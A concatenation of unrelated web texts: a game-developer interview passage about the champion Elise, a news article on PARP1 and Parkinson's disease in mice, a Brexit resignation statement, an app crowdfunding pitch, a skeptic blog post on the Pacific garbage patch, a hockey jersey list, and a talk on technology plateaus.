Coronach: Each spell you land in human form racks up another spiderling that spawns when you transform, up to a cap. You build up an army and transform to deploy your spiderling forces. An army of spiderlings was the hardest aspect of her kit to balance. It had to be fun and effective, but not frustrating to play against. We're using some more robust, more advanced AI with Elise's spiderlings to make them feel more responsive. You get to have more spiderlings each time you level up her ultimate, and they do this neat fan-out pattern after you transform into spider form. Many of Elise's abilities affect the spiderlings in some way as well, so you feel like you're bolstering your entire army. As long as we keep iterating on this technology, we can incorporate it deeper into the game.
ByronicHero: What were some of the more challenging nuances of Elise's animation, such as emotes and dancing?
ohmikegoodness: Doing the emotes for Elise was a bit challenging – how does a spider laugh or dance? The spider laugh is pretty adorable. You'll really love it. I can't believe we managed to make something on this champion adorable, but it happened.
She does the cancan as her dance. Naturally, it was the best fit considering the legs and all, but we thought it would be really cute if the spiders danced along with her. So they do. Adorable.
Elise's human form laugh was so simple. She had to be dainty, so we used her creepy spider legs to cover her mouth while she laughed; just a simple pose that evoked so much character.
ByronicHero: Let's talk a little bit about how the Spider Queen has changed from the original concept. What are some of the key differences between the original Spider Queen art from years ago and Elise we know today?
ohmikegoodness: We had a lot of changes to her model and the very look and feel of the character. Originally, she had legs as a dress, extra legs on her back; there were a lot of legs.
The original concept was a Victorian-esque half spider-woman with a female torso. We realized that this wasn't something we wanted to go with, but we wanted to keep a lot of the elegance and grace, with the frightening spider as a hidden treat.
The silhouette has to be recognizable and not too messy. You have to be able to quickly recognize Elise on the battlefield. She's one of the most visually interesting characters we've developed and it would've been a shame having her too busy and too messy that you've never get to appreciate her.
ByronicHero: Did anything odd crop up during the Spider Queen's development?
RIOTSTEEN: Making her webs webby for lack of a better word was a challenge. Webs are sometimes impossible to see, like that's kind of the whole point of webs. And iridescent is a look we try to shy away from. At the same time, you want to make the webs instantly recognizable. Since she's from the Shadow Isles, she had to be mysterious and magical as well. Her color palette had some pieces to it that just didn't mesh well together. It was hard for me to pull off, but in the end, I mixed in more real webs with some magical elements and was happy with the result. I think everyone will like it.
In team fights, there's a lot going on. You instinctively want to dial the effects back to not clutter up the screen. You don't want to make every ability extra flashy because you can potentially confuse players. Elise strikes a nice balance.
BelligerentSwan: We have the same issue in sound design, as well. As we improve technologies and create new stuff, we don't want to overshadow the sound effects from earlier champions with louder cacophony. We have to be very careful when picking and choosing new sound styles.
Picking the right sounds to accentuate each champion's defining characteristic is the key. We focus on what makes Elise stand out. Now, multiply everything with the Spider Queen by two, because she's got two forms, each with its own distinct flavor. At the same time, she has to fit in with the other champions. Frustrating? Occasionally. But once we hit the right balance across her abilities, with a unique sound effect that we've honed in on as her signature thematic element, it just worked so well.
ByronicHero: Anything else you want to share about Elise?
Harrow: We wanted a Spider Queen with a jarring, frightening transition between two forms. I think we've achieved that.
Coronach: There was a lot of appeal in watching Elise swap forms. We had to give her something more than just a hot lady who turns into a spider. She looks twisted.
ohmikegoodness: Some characters are very straightforward to create. The Spider Queen originally began as something much different, but that evolution was what made her special. She's decidedly jarring in that she goes from the regal perception to a monstrous, devouring beast in a split second. You almost forget you're fighting an immensely powerful creature until it's too late.
Current medical therapies for Parkinson's Disease--which affects about 1 million Americans--only treat the symptoms, with none proven to slow or reverse the disease. Now, scientists may have identified the biological process that causes it.
Scientists know that in humans, inactivation of the parkin gene leads to Parkinson's disease. But they don't know which steps occur in between. Now, researchers at Johns Hopkins University have proposed a possible chain of events.
In a study published in Nature Neuroscience, the researchers showed blocking an enzyme, called poly(ADP-ribose) polymerase-1, or PARP1, stops the development of Parkinson's disease in mice.
"We were excited and surprised by the almost complete protection against dopaminergic cell death by the PARP1 inhibitor," said Yunjong Lee, lead author of the study and post-doctoral researcher in a joint lab run by Professors Valina and Ted Dawson.
Lee and co-workers were able to protect specific brain cells called dopaminergic neurons. These neurons make dopamine, a chemical critical to motor control, arousal, and motivation. Loss over time of dopaminergic neurons is the defining feature of Parkinson's disease.
"We need to start thinking about PARP1 inhibitors," said Dr. Daniel Roque, a neurologist at the University of North Carolina at Chapel Hill School of Medicine who regularly treats patients with Parkinson's disease. About half a dozen pharmaceutical companies are testing drug candidates designed to inhibit PARP1 in human clinical trials against breast, ovarian and lung cancer. Some of these drugs have already passed phase I trials which show they aren't toxic to humans.
PARP1 inhibitors stopped disease progression in mice, but what led to the accumulation of PARP1? The researchers proposed to trace this protein accumulation back to a mutation in the parkin gene.
One of the parkin protein's functions is to maintain low levels of the AIMP2 protein. AIMP2 has an essential role in translating RNA into proteins. Parkin uses small proteins-called ubiquitins-to tag AIMP2. Tagging the AIMP2 protein with a lot of ubiquitins lets the cell know to destroy it.
When the parkin protein is not doing its job, there is a build-up of AIMP2. Brain autopsies of deceased Parkinson's patients tend to show higher levels of AIMP2.
To mimic Parkinson's disease in mice, Lee and his colleagues genetically modified a line of mice to overexpress the AIMP2 protein. They successfully observed the mice gradually producing less dopamine over time. They also saw a decrease in motor skills using the rotarod test-a standard test in which researchers record how long a mouse can walk on an accelerating, rotating rod before it falls off.
The mice showed up to a 60 percent loss of the dopamine producing brain cells, an impressive result, Lee said, given the difficulty of simulating neurodegenerative diseases in animals. This specialized mouse model gave researchers the opportunity to look for possible pathways leading to brain cell death.
The team noticed elevated levels of PAR proteins, which is an indication of PARP1 activation. They proposed that an increased amount of AIMP2 stimulates PARP1 activity. High levels of PAR are known to kill cells through a process called parthanatos-named by Professors Valina and Ted Dawson a few years earlier, after PAR and Thanatos, the Greek god of death, Lee said.
The main finding of the study, the activation of PARP1 by AIMP2, challenges conventional thinking in neurobiology because of the proteins' locations in the cell.
PARP1 resides in the cell's control center, the nucleus, while AIMP2 floats around inside a different compartment, called the cytosol. To enter the nucleus you need a special access code, called a nuclear localization sequence or NLS. Because AIMP2 does not have this code, it shouldn't be able to cross the nuclear membrane.
"We get asked this question a lot," Lee said. He said cells experiencing oxidative stress or DNA damage could allow AIMP2 into cross into the nucleus. They tested this theory by adding a chemical oxidant to the cells. This chemical can cause DNA damage and oxidize compounds comprising the cell membrane, weakening it. They observed AIMP2 in the nucleus, after it apparently crossed the nuclear membrane.
Finding AIMP2 in the nucleus doesn't prove anything by itself. The researchers needed to determine if it interacted with PARP1 once it got inside. The researchers probed this interaction using a technique called co-immunoprecipitation. Here's how they did it.
First, AIMP2 is marked with a small sequence of proteins making it easy to detect. Second, a substance that binds PARP1-called an antibody conjugate-is attached to a large bead.
The loaded bead is added to a test tube containing a cell nucleus. The cell nucleus has the specially marked AIMP2 inside. Placing the test tube inside a centrifuge-essentially a quickly rotating carousel-pushes the heaviest parts to the bottom of the tube. The rest of the cell goo not bound to the bead is washed off.
What you have left is the bead, which binds to PARP1, and anything in the cell that was bound to PARP1. In this mixture the researchers found the specially marked AIMP2 proteins.
"The authors have used the accepted techniques to demonstrate an interaction between AIMP2 and PARP. But the bigger question is whether this interaction has any biological relevance," Alexandow Gow, a neurology professor at Wayne State University, wrote to me in an email. Lots of proteins, when produced at high levels, can have new functions that they wouldn't necessarily have naturally.
"We need solid data that parthanatos is involved in Parkinson's disease," Lee said, and his research lab is looking for that connection. They want to develop mouse models for different proteins that are regulated by parkin or any of the seven genes that are associated with Parkinson's disease.
When asked if the study's results warrant testing of PARP1 inhibitors against Parkinson's disease in human clinical trials, Roque said it can be difficult to anticipate how well mouse models will translate into humans. He said more research was needed before human trials should begin.
"We're all hoping to find anything that will slow down the disease and maybe this is where the answer lies," he said.
We should be proud of the fact that in these islands we trust the people with these big decisions.
We not only have a parliamentary democracy, but on questions about the arrangements for how we are governed, there are times when it is right to ask the people themselves, and that is what we have done.
The British people have voted to leave the European Union, and their will must be respected.
I want to thank everyone who took part in the campaign on my side of the argument, including all those who put aside party differences to speak in what they believed was the national interest.
And let me congratulate all those who took part in the “Leave” campaign — for the spirited and passionate case that they made.
The will of the British people is an instruction that must be delivered. It was not a decision that was taken lightly, not least because so many things were said by so many different organizations about the significance of this decision.
So there can be no doubt about the result.
Across the world people have been watching the choice that Britain has made. I would reassure those markets and investors that Britain’s economy is fundamentally strong.
And I would also reassure Brits living in European countries, and European citizens living here, that there will be no immediate changes in your circumstances. There will be no initial change in the way our people can travel, in the way our goods can move or the way our services can be sold.
We must now prepare for a negotiation with the European Union. This will need to involve the full engagement of the Scottish, Welsh and Northern Ireland governments to ensure that the interests of all parts of our United Kingdom are protected and advanced.
But above all this will require strong, determined and committed leadership.
I am very proud and very honored to have been prime minister of this country for six years.
I believe we have made great steps, with more people in work than ever before in our history, with reforms to welfare and education, increasing people’s life chances, building a bigger and stronger society, keeping our promises to the poorest people in the world, and enabling those who love each other to get married whatever their sexuality.
But above all restoring Britain’s economic strength, and I am grateful to everyone who has helped to make that happen.
I have also always believed that we have to confront big decisions — not duck them.
That’s why we delivered the first coalition government in 70 years to bring our economy back from the brink. It’s why we delivered a fair, legal and decisive referendum in Scotland. And why I made the pledge to renegotiate Britain’s position in the European Union and hold a referendum on our membership, and have carried those things out.
I fought this campaign in the only way I know how — which is to say directly and passionately what I think and feel — head, heart and soul.
I held nothing back.
I was absolutely clear about my belief that Britain is stronger, safer and better off inside the European Union, and I made clear the referendum was about this and this alone — not the future of any single politician, including myself.
But the British people have made a very clear decision to take a different path, and as such I think the country requires fresh leadership to take it in this direction.
I will do everything I can as prime minister to steady the ship over the coming weeks and months, but I do not think it would be right for me to try to be the captain that steers our country to its next destination.
This is not a decision I have taken lightly, but I do believe it is in the national interest to have a period of stability and then the new leadership required.
There is no need for a precise timetable today, but in my view we should aim to have a new prime minister in place by the start of the Conservative Party conference in October.
Delivering stability will be important, and I will continue in post as prime minister with my cabinet for the next three months. The cabinet will meet on Monday.
The governor of the Bank of England is making a statement about the steps that the bank and the Treasury are taking to reassure financial markets. We will also continue taking forward the important legislation that we set before Parliament in the Queen’s Speech. And I have spoken to Her Majesty, the Queen, this morning to advise her of the steps that I am taking.
A negotiation with the European Union will need to begin under a new prime minister, and I think it is right that this new prime minister takes the decision about when to trigger Article 50 and start the formal and legal process of leaving the E.U.
I will attend the European Council next week to explain the decision the British people have taken and my own decision.
The British people have made a choice. That not only needs to be respected — but those on the losing side of the argument, myself included, should help to make it work.
Britain is a special country.
We have so many great advantages.
A parliamentary democracy where we resolve great issues about our future through peaceful debate.
A great trading nation, with our science and arts, our engineering and our creativity respected the world over.
And while we are not perfect, I do believe we can be a model of a multiracial, multifaith democracy, where people can come and make a contribution and rise to the very highest that their talent allows.
Although leaving Europe was not the path I recommended, I am the first to praise our incredible strengths.
I have said before that Britain can survive outside the European Union, and indeed that we could find a way.
Now the decision has been made to leave, we need to find the best way.
And I will do everything I can to help.
I love this country — and I feel honored to have served it.
About
Everyday ten’s of thousands of people die in the world and never have the opportunity to say goodbye or last thoughts to the people who matter most to them. The initial version of Remember Me works by allowing users to make private messages to friends, loved ones or others to only be seen after they have died. My App will give peace in knowing that those who matter most know your feelings when they need to hear them.
Users will make a personal video of up to 5 minutes, then they will be asked to enter the recipients contact details (Phone Number, Email Address, What’s App, WeChat, Skype and so on) as well as their name. The recipient will then be notified by each of the contact information submitted and sent a message telling them that someone has created a video for them and to follow the link to join Remember Me to be able to view the message at the appropriate time.
Each member will set in their setting their “Time Trigger”. The TT is a clock, which counts down to the day to send off all the members’ videos and messages to receivers listed. The Member has the option of setting the TT at, 1 week, 1 month, 3 months, 6 months or 1 year. As long as the member logs into the app within that time, the clock resets and the messages are not sent. IF the member does not log in, the user will receive 3 messages within 1 week, if the user still has not logged in then the app will assume the user has passed and then all receivers will receive a message that their Remember Me video for “Member’s Name” has been unlocked and available for viewing. The receivers now can save the video to their Remember Me account for viewing anytime and as often as they want.
Future versions will have upgrades to include but not be limited to:
Extended video time
Group recipients of single video
Request for receiving
Special moment additions
Photo and audio additions
Fan’s Message (for those in the public eye such as movie stars, singers and more)
Additional add-ons on the way
This app will launch in the USA, Europe and Africa initially with the USA being the main target of interest. We will be offering and promoting our app to military personnel, police, fire fighters and politicians at first, of course any regular user can join but we want to start helping those of high-risk right away. Being all of high-risk jobs, all these categories will be able to utilize the app to it’s full potential and will be spreading the word of the app. We will be also advertising it via the help of social media and the major news markets. We hope once people see why this app is so highly needed that they will spread the word from use as well.
Remember Me is a first of it’s kind app. This app concept has not been conceived of or made until now. Remember me is an app that would be categorized under “Lifestyle”.
Even though this type of app has not been done before it is obvious that it will have a very high demand. The benefit of this app is that unlike most apps that have a narrow window of targeted customers, Remember Me has a large window with people from 18 – elderly.
For non-campaign supporters there will be regular fees associated with the service, however if you donate for this campaign then you will receive the specials listed in the donation section depending on the amount donated.
Please note, the receiver will NEVER have a fee for receiving, viewing or keeping the videos on Remember Me, the fees are only associated with the sender.
I hope that this app will give peace of mind and peace to the heart not just for the person making the messages, but for those receiving them.
It turns out that it’s all a huge exaggeration.
Caught red-handed again! Who can believe these media organizations any longer? Sadly this is routine procedure when reporting on climate change and evironment.
Wikipedia here calls it the Great Pacific Garbage Patch, and describes it as the Pacific Trash Vortex, which is estimated to be an area the size of the state of Texas to one larger than the continental United States.
There’s just one problem, though. Wikipedia writes:
Despite its size and density, the patch is not visible from satellite photography.”
Hmmm. Well, there’s a good reason for that. One reason is likely because it’s a heck of a lot smaller than what we have been led to believe. Today Jürgen Schönstein has a piece at science blogs titled The garbage patch is smaller than feared. Schönstein writes that marine biologist Assistant Professor Angel White of Oregon State University has come to the conclusion that the size and growth of the patch is “grossly exaggerated by the media”:
The amount of plastic out there isn’t trivial. But using the highest concentrations ever reported by scientists produces a patch that is a small fraction of the state of Texas, not twice the size.”
You can read the Oregon State Univsersity press release here. Well, you might say, Texas is a big place and even a small fraction is a lot. The press release writes:
The studies have shown is that if you look at the actual area of the plastic itself, rather than the entire North Pacific subtropical gyre, the hypothetically “cohesive” plastic patch is actually less than 1 percent of the geographic size of Texas.”
Simple mathematics tells us that the media exaggerated the patch size by a factor of more than 200. I’m not saying there isn’t problem with marine pollution. It’s just nowhere near as bad as we are told, like many other things – climate to name one.
In the end, pick up your trash and dispose of it properly. Don’t litter! White says:
If there is a takeaway message, it’s that we should consider it good news that the ‘garbage patch’ doesn’t seem to be as bad as advertised,” White said, “but since it would be prohibitively costly to remove the plastic, we need to focus our efforts on preventing more trash from fouling our oceans in the first place.”
There were many, many new Fouls we covered in 2013. Here are the best of the worst.
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10. Bettman Blows
Reader Susan sent this one from the Tampa Bay Lightning’s home opener, in which a season-ticket holder that normally rocks a Ryan Malone jersey decide to make a statement against the lockout.
9. Super Creative Wild Fans
From reader John, these Minnesota Wild fans presented one for the English major. From John: “Seen leaving Xcel - I get the sophomoric humor of the ‘Dyslexic’ jersey, but the ‘bassackwards’ confuses me since 66 backwards is... 66.”
8. Calgary’s Junk
Via Ryan Batty: “Here is a great foul for an Edmonton Oil Kings vs Calgary Hitmen game at Rexall. This guy was sitting beside someone wearing a ‘Calgary Blows’ jersey (another obvious foul), but this one caught my attention because I couldn't figure out if the apostrophe was a contraction or possessive.”
It’s possessive. And the junk is a vagina. Oh, Edmonton …
7. The ’69’ Sweater of the Year
The ‘69’ Jersey Foul remains the king of all deplorable Fouls. We honor one each season as the greatest example of their vile nature (i.e. the one that honestly made us chuckle, but one we must demonize). Courtney Fathers explains this one:
“Just saw this at the Joe, wish I had a better pic. The guy was moving fast thru the crowd. The number is 69, and the lettering is GODHEROV. Since we've had plenty of Russians in Detroit, the 'OV' threw me off momentarily...and then I pronounced it completely.”
6. The Crosby/Mario Matchup
A stupid mash-up that has as much place in this word as a ‘Jagklin’ jersey.
5. The Crosby Smiter Jersey
Story continues
The Puck Buddys tweeted this out (via Peter Hassett). It is exactly what you think it is: a Washington Capitals David Steckel jersey and a reference to his concussing (or whatever) Sidney Crosby in the Winter Classic. Pittsburgh and Washington fans continue to debate whether he wore this jersey on purpose or didn’t quite see it in under the lights at night.
4. The Greatest Dainius Zubrus Foul Ever
Granted, this is potentially the only Dainius Zubrus Foul ever, too. But this New Jersey Devils fan wore a Foul that was tweeted and emailed to us a dozen times. It’s brilliantly terrible.
3. Family Feud Foul
Courtesy of Friend of Puck Daddy B.S., a 2013 episode of the Steve Harvey-hosted “Family Feud” featured the Pawlak Family, which eschewed the usual matching sweaters or goofy shirts for New York Rangers replica jerseys – replacing the “RANGERS” across the front with their own family name. Survey says … VOMIT.
2. Mandeskog
Sean Tafoya sent in this Colorado Avalanche Gabriel MANdeskog jersey, which is just bro-tastic in its sleeveless glory.
so named we imagine because Gabriel Landeskog dominates games like a player far beyond his 20 years on this mortal coil.
And finally …
1. 17 Seconds
We had a few “17 Seconds” jerseys from Chicago Blackhawks fans, in honor of their Game 6 victory, but this Foul, snapped by Jason Butler, is on another level as far as Commemoration Jerseys go.
Not only is it a “17 Seconds” jersey, but it features Cup-winning scorer Dave Bolland battling Andrew Ference and Tuukka Rask of the Bruins in a recreation of that historic tally.
This is the expanded version of a talk I gave on September 9, 2014, at the HOW Interactive Design conference in Washington, DC.
Designers! I am a San Francisco computer programmer, but I come in peace! I would like to start with a parable about airplanes. In 1981, my mother and I flew from Warsaw to New York City in this airplane, an Ilyushin-62.
The Il-62 exemplifies a Soviet design approach I like to think of as "add engines until airborne". Soviet engineers lacked the computers to calculate all the bending and wiggling the wings would do if you hung the engines under them, so they just strapped engines on the back. This plane actually used a little kickstand when it was parked empty, to keep it from tipping over and pointing up like a rocket.
In those days, Warsaw had maybe ten flights a day. It was a big deal to spot a plane in the sky. The airport itself was a tiny concrete building not much bigger than this conference room, so my mom and I were completely overwhelmed on arrival at JFK airport, with its maze of gates. To top it off, neither of us spoke English. We ran around the airport, out of breath, until we finally found our way to a waiting room where other passengers were sitting and waiting for the Pan Am flight to Houston. We sat down to wait, too. And then, without warning, the waiting room took off. That was my introduction to the Boeing 747.
The 747 is a masterpiece of industrial design. Everything we think of as normal about air travel, for better or worse, was invented for this airplane and its immediate predecessor, the 707. That includes seats on rails, overhead bins, drink trolleys, sliding window shades, the little fan above your seat—you name it. There are so many wonderful stories about the 747. It was two and a half times bigger than the largest passenger jet ever built. They had to make a special factory to assemble it, and they were still building the factory as the first planes came off the line. They were also still tinkering with the design. Engineers would run out onto the shop floor waving amended drawings, and annoyed foremen on the production line would cuss them out.
The 747 required over 75,000 technical drawings. All of them were done by hand. There was no computer aided design to help engineers figure out how to put everything together, just a massive filing system. Boeing had to build a full-scale plywood model of the plane from these drawings to make sure everything fit together, and that multiple systems weren't trying to occupy the same space.
My favorite fact about the 747 is that it was built by the company's B team, Boeing's version of the Bad News Bears. All the top engineers, and the ambitious up and comers, had gotten themselves assigned to Boeing's prestige project, a plane called the 2707, or supersonic transport. The SST was going to fly at almost three times the speed of sound, about 2900 kilometers an hour. It had swing wings. And it was the first-ever widebody design. Everyone believed that the SST was the future of jet travel.
The 747 was meant to be a stopgap. It was supposed to serve the airlines until the SST entered service in the 1970's, at which point it would be demoted to a freighter. This is a Pan Am advertisement from the period, showcasing the 'planes of tomorrow' that were 'just over the horizon'.
In fact, that famous hump on the 747 is there specifically to make it easier to load freight. This was not a plane with a glamorous future. It wasn't just Boeing working to build an SST. The Europeans were developing the Concorde, and the Soviet Union was hard at work on their own version.
This was a giddy time for aviation. Pan Am even started taking reservations for commercial flights to the Moon! They had a waiting list with over 90,000 names. The point of my parable is this: imagine if you could travel back in time and offer to show one of those Boeing engineers what air travel would look like in 2014, fifty years on. What might he have expected to see?
Keep in mind that in 1965, the Gemini project had just started. Astronauts were in earth orbit, testing the technology and procedures needed for getting to the Moon. The Space Race was in full swing. The Soviets and Europeans were both developing a giant supersonic airliner. As this period chart shows, transportation speed was increasing at an exponential rate, and we were just about to head up that steep slope towards interstellar travel. Though the underlying technologies kept changing, the overall trend was as clear as it was unstoppable.
One thing the engineer might have expected to see in 2014 was a radioactive wasteland. The Cold War was a grim reality, and many people expected it to end in disaster. But if we had not killed ourselves, he would have expected moon bases, maybe a Mars base. He wouldn't be surprised to see flying cars everywhere, or atomic airplanes with unlimited range. Without question there would be routine supersonic travel at unimaginable speed and comfort between any two cities in the world.
Consider what that engineer had seen happen in his own lifetime. The first attempts at powered flight took place right around the time he was born.
In the twenties, when he was a boy, airliners like the Junkers G-24 could fly 14 passengers at 170 kph.
The 1930's brought the all-metal DC-3. It could fly 30 people at 333 kph.
That was also the era of the famous Boeing Clippers. They had luxurious sleeper berths and took six days to get from San Francisco to Hong Kong.
In the 1940's, Boeing introduced the Stratocruiser, a pressurized plane that could fly at 480 kph.
Finally, in the 50's, Boeing ushered in the Jet Age with the Boeing 707, which could cross the Atlantic ocean at nearly 1,000 kph.
I submit to you that the last thing that Boeing engineer would expect to see in 2014 is what actually happened. Here is today's most advanced passenger aircraft, the Boeing 787.
Unless you are an airplane nerd, you would be hard pressed to distinguish the 787 from its grandfather. And in fact, this revolutionary new plane flies slower than the 707. The basic configuration of an airliner has not changed in sixty years. You have a long tube, swept wings with multiple engines mounted underneath, and a top speed of around 900 kph. So what happened to the future?
It's not that the technology failed. We built, tested and flew giant planes that could cruise at over three times the speed of sound. This is the Valkyrie, a massive strategic bomber painted white so that it won't catch fire from the flash of its own nuclear bombs. This plane was test flown in 1965 and nearly made it into production.
The SR-71 Blackbird, another Mach 3 plane, did make it into production, and flew for decades. It still holds all the speed records.
We even got supersonic airliners! The Concorde entered commercial service and safely ferried douchebags across the Atlantic for 25 years. If you're my age, you may remember seeing one taxi past you at the airport. The Russians got in on it too, with a plane derisively called the Concordeski. This proved too loud and unreliable for passenger service, so it ended up being a transport jet. It carried fruits and vegetables from Central Asia at twice the speed of sound. My favorite line from the Wikipedia article is that the plane was so loud, "you couldn't hear the passenger two seats away from you screaming". He had to pass you a note saying "aaaaaaugh". The first time they took journalists up on this thing, there were so many alarms going off that the pilot had to borrow a pillow from the passengers to stuff into the alarm klaxon. But it flew!
And it's not like the space program was a failure. We landed men on the Moon not once, but six times. Because we're Americans, we didn't just put men on the moon—we put cars on the Moon, three of them.
We even had a dude play golf up there. Our poor engineer had every right to assume that the breakthroughs he'd seen over his entire working life were on track to continue. He lived at a time of accelerating technological change, where in ten years we had gone from propeller planes to lunar exploration. The next generation of technology was not just a dream; it was already in the prototype stage. But it all just kind of stopped.
We have a space station in 2014, but it's too embarrassing to talk about. Sometimes we send Canadians up there. Never mind the Moon—we can't even launch astronauts into orbit anymore. If we want to go to our sad-sack space station, we have to ask the Russians, and they're mean to us. Can you imagine the look in that engineer's eyes? The technology was pointing in one direction, the future was clear and inevitable. And then it never happened. Why? First, we ran into diminishing returns. As these planes got faster, they got more expensive to design and operate. Pushing all that air out of the way required exotic materials and vast amounts of fuel. The space program was even worse. Those rockets used a lot of public money that could be better spent on bombing Vietnam. Second, there were unexpected drawbacks. Economists have that great word, "externalities", for anything they find doesn't fit their model of the world. One externality of supersonic planes was the sonic boom. The Air Force spent six months flying supersonic over Oklahoma City to convince itself that the constant noise bothered people.
Another externality was that exhaust from SSTs damaged the ozone layer. Boeing was genuinely surprised that people cared about this stuff. What does it matter if the sun is coming through your shattered window and burning your skin, if you can have a supersonic airliner? But it wasn't worth it!
Because the technologies we had were good enough. It turned out that very few people needed to cross an ocean in three hours instead of six hours. On my way to this conference, I flew from Switzerland to San Francisco. It took eleven hours and cost me around a thousand dollars. It was a long flight and kind of uncomfortable and boring. But I crossed the planet in half a day! Being able to get anywhere in the world in a day is really good enough. We complain about air travel but consider that for a couple of thousand dollars, you can go anywhere, overnight. The people designing the planes of tomorrow got so caught up in the technology that they forgot to ask the very important question, “what are we building this for?”
Today I hope to persuade you that the same thing that happened to aviation is happening with the Internet. Here we are, fifty years into the computer revolution, at what feels like our moment of greatest progress. The outlines of the future are clear, and oh boy is it futuristic. But we're running into physical and economic barriers that aren't worth crossing. We're starting to see that putting everything online has real and troubling social costs. And the devices we use are becoming 'good enough', to the point where we can focus on making them cheaper, more efficient, and accessible to everyone. So despite appearances, despite the feeling that things are accelerating and changing faster than ever, I want to make the shocking prediction that the Internet of 2060 is going to look recognizably the same as the Internet today. Unless we screw it up. And I want to convince you that this is the best possible news for you as designers, and for us as people.
The defining feature of our industry since the invention of the transistor has been exponential growth. Exponential growth is one of those buzzwords that has an exact technical meaning. It just means that something keeps doubling, over and over again. Pop science authors never get tired of telling us that we have poor intuitions for exponential growth. For example, here is Britney Gallivan posing with a sheet of paper folded 11 times. If she could fold that sheet 50 times, the paper stack would reach nearly to the Sun. And it would be half a proton in diameter. (It's folding that last proton that's really hard.) This example illustrates the two things you need to know about exponential growth: it lets you get to large numbers very quickly. And it always runs into physical barriers.
I'm sure you have heard of Moore's Law. In its original form, it says "the number of transistors we can mass-produce on a silicon wafer doubles" every year or two. Moore made this observation in 1965, and it's held up ever since. There's a popular understanding of Moore's Law, too, which says that "computers always get faster and more capable".
For fifty years we've ridden that wave. If you were active in the 1990's or 2000's, you may remember the feeling. You would buy a new computer, and a few months later there would be a better model, twice as fast, for the same price.
In those days there was an arms race between Intel and AMD, the main consumer chip manufacturers. Intel would release a 1 GHz processor, and AMD would follow with a 1.1 GHz rival. CPUs were defined by clock speed. The speeds kept going up. Until suddenly, around 2005, there was a hitch.
Intel had been working on a monster 7 GHz chip. The problem was how much heat this chip generated, 150 watts, or as much as an E-Z Bake oven. 150 watts is the kind of light bulb that you get in trouble for having in college, because it threatens to set your Bob Marley poster on fire.
Deterred by all this heat, Intel changed strategy. Instead of making the CPUs smaller, hotter, and faster, they would just start putting more of them on each wafer. Suddenly we had 'cores'. Your software didn't just automatically get faster with each generation anymore. Now it had to be written in a way that could use these 'cores', which programmers are still grappling with. So while Moore's Law still technically holds—the number of transistors on a chip keeps increasing—its spirit is broken. Computers don't necessarily get faster with time. In fact, they're getting slower!
This is because we're moving from desktops to laptops, and from laptops to smartphones. Some people are threatening to move us to wristwatches. In terms of capability, these devices are a step into the past. Compared to their desktop brethren, they have limited memory, weak processors, and barely adequate storage. And nobody cares, because the advantages of having a portable, lightweight connected device are so great. And for the purposes of taking pictures, making calls, and surfing the internet, they've crossed the threshold of 'good enough'. What people want from computers now is better displays, better battery life and above all, a better Internet connection.
Something similar happened with storage, where the growth rate was even faster than Moore's Law. I remember the state-of-the-art 1MB hard drive in our computer room in high school. It cost a thousand dollars. Here's a photo of a multi-megabyte hard drive from the seventies. I like to think that the guy in the picture didn't have to put on the bunny suit, it was just what he liked to wear. Modern hard drives are a hundred times smaller, with a hundred times the capacity, and they cost a pittance. Seagate recently released an 8TB consumer hard drive. But again, we've chosen to go backwards by moving to solid state storage, like you find in smartphones and newer laptops. Flash storage sacrifices capacity for speed, efficiency and durability. Or else we put our data in 'the cloud', which has vast capacity but is orders of magnitude slower. These are the victories of good enough. This stuff is fast enough. Intel could probably build a 20 GHz processor, just like Boeing can make a Mach 3 airliner. But they won't. There's a corrollary to Moore's law, that every time you double the number of transistors, your production costs go up. Every two years, Intel has to build a completely new factory and production line for this stuff. And the industry is turning away from super high performance, because most people don't need it. The hardware is still improving, but it's improving along other dimensions, ones where we are already up against hard physical limits and can't use the trick of miniaturization that won us all that exponential growth. Battery life, for example. The limits on energy density are much more severe than on processor speed. And it's really hard to make progress. So far our advances have come from making processors more efficient, not from any breakthrough in battery chemistry. Another limit that doesn't grow exponentially is our ability to move information. There's no point in having an 8 TB hard drive if you're trying to fill it over an AT&T network. Data constraints hit us on multiple levels. There are limits on how fast cores can talk to memory, how fast the computer can talk to its peripherals, and above all how quickly computers can talk to the Internet. We can store incredible amounts of information, but we can't really move it around. So the world of the near future is one of power constrained devices in a bandwidth-constrained environment. It's very different from the recent past, where hardware performance went up like clockwork, with more storage and faster CPUs every year. And as designers, you should be jumping up and down with relief, because hard constraints are the midwife to good design. The past couple of decades have left us with what I call an exponential hangover.
Our industry is in complete denial that the exponential sleigh ride is over. Please, we'll do anything! Optical computing, quantum computers, whatever it takes. We'll switch from silicon to whatever you want. Just don't take our toys away. But all this exponential growth has given us terrible habits. One of them is to discount the present. When things are doubling, the only sane place to be is at the cutting edge. By definition, exponential growth means the thing that comes next will be equal in importance to everything that came before. So if you're not working on the next big thing, you're nothing.
This leads to a contempt for the past. Too much of what was created in the last fifty years is gone because no one took care to preserve it. Since I run a bookmarking site for a living, I've done a little research on link rot myself. Bookmarks are different from regular URLs, because presumably anything you've bookmarked was once worth keeping. What I've learned is, about 5% of this disappears every year, at a pretty steady rate. A customer of mine just posted how 90% of what he saved in 1997 is gone. This is unfortunately typical. We have heroic efforts like the Internet Archive to preserve stuff, but that's like burning down houses and then cheering on the fire department when it comes to save what's left inside. It's no way to run a culture. We take better care of scrap paper than we do of the early Internet, because at least we look at scrap paper before we throw it away.
This contempt for the past also ignores the reality of our industry, which is that we work almost exclusively with legacy technologies. The operating system that runs the Internet is 45 years old. The protocols for how devices talk to each other are 40 years old. Even what we think of as the web is nearing its 25th birthday. Some of what we use is downright ancient—flat panel displays were invented in 1964, the keyboard is 150 years old. The processor that's the model for modern CPUs dates from 1976. Even email, which everyone keeps trying to reinvent, is nearing retirement age. I cheated by calling this talk 'Web Design: The First 100 years' because we're already nearly halfway there. However dismissive we are of this stuff, however much we insist that it will get swept away by a new generation of better technology, it stubbornly refuses to go. Our industry has deep roots in the past that we should celebrate and acknowledge.
The flip side of our disregard for the past is a love of gratuitous change. Any office worker who uses Microsoft products knows this pain. At some point fairly early on, Microsoft Office became good enough. Windows became good enough. But that hasn't stopped Microsoft from constantly releasing new versions, and forcing people to upgrade. I pick on Microsoft because so many of us have experience with their software, but this holds true for any software vendor.
Consider the war Microsoft is waging against XP users. After years of patching, XP became a stable, beloved, and useful operating system. A quarter of desktops still run it. This is considered a national crisis. Rather than offer users persuasive reasons to upgrade software, vendors insist we look on upgrading as our moral duty. The idea that something might work fine the way it is has no place in tech culture.
